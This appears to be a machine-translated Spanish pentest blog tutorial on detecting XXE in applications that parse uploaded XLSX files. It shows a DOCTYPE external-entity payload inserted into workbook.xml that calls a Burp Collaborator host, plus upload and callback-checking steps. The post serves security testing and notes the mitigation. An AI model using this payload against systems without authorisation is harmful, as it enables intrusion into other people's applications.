Xxe explotación de hojas de cálculo . XLSX

La vulnerabilidad de la entidad externa XML (XXE) es que al analizar una estructura de documento XML denominada Definición de tipo de documento (DTD), puede definir sus propias entidades XML. Según el motor de procesamiento XML del lado del servidor y la configuración del entorno, este tipo de vulnerabilidad se puede aprovechar de forma diferente. Comenzando con la lista de directorios en el sistema, la lectura de archivos de aplicación y del sistema, la obtención de una contraseña cifrada del usuario de la aplicación, así como la transferencia de archivos al servidor o la ejecución de comandos del sistema.

El escenario clásico de este tipo de vulnerabilidad supone que estamos ante una petición que contiene en nuestro cuerpo xml a la que añadimos la parte responsable, para las definiciones de nuestra propia entidad. Sin embargo, esta vulnerabilidad también puede producirse al tratar con una aplicación que de alguna manera procesa archivos de Excel. XLSX , Palabra . DOCX o PowerPoint . PPTX. Se lo debemos al hecho de que estos tipos de archivos que son compatibles con OOXML, por lo que simplemente se empaquetan varios archivos. XML.

El escenario de ataque rápido es el siguiente:

  1. Cree un nuevo documento en blanco . XLSX. Puede utilizar la "Hoja de Google" para este propósito.
hoja de google

2. Open Burp Suite Professional -> Burp -> Burp Collaborator Client. A continuación, haga clic en el botón "Copiar al portapapeles". En mi caso, la dirección del servidor era la siguiente: lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net.

Alternativamente, si tiene una IP externa, puede usar un servidor HTTP simple en python – "python3 -m http.server 8080".

3. Abra el archivo descargado con 7zip.

edición xlxs

3. Edite el archivo "workbook.xml" en el directorio "xl" agregando el siguiente código (por supuesto, reemplazando la dirección del servidor con la suya propia):

<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe; ]>

NOTA- En una de las aplicaciones que probé, la vulnerabilidad xxe reveló después de editar "[Content_Types].xml", por lo que vale la pena revisar este archivo.

edición del libro.xml
edición del libro.xml

4. Guarda los cambios y carga el archivo en la aplicación que estás probando.

5. Ahora compruebe el cliente colaborador para cualquier solicitud:

cliente colaborador de burp

6. Disfrute de la 🙂 – que acaba de confirmar xxe vulnerabilidad en la aplicación probada y se puede proceder a promover su uso.

Una característica de seguridad común contra XXE es deshabilitar completamente la carga de entidades externas en un analizador XML.

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!).
Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Marcar el Enlace permanente.

Podziel się swoją opinią na temat artykułu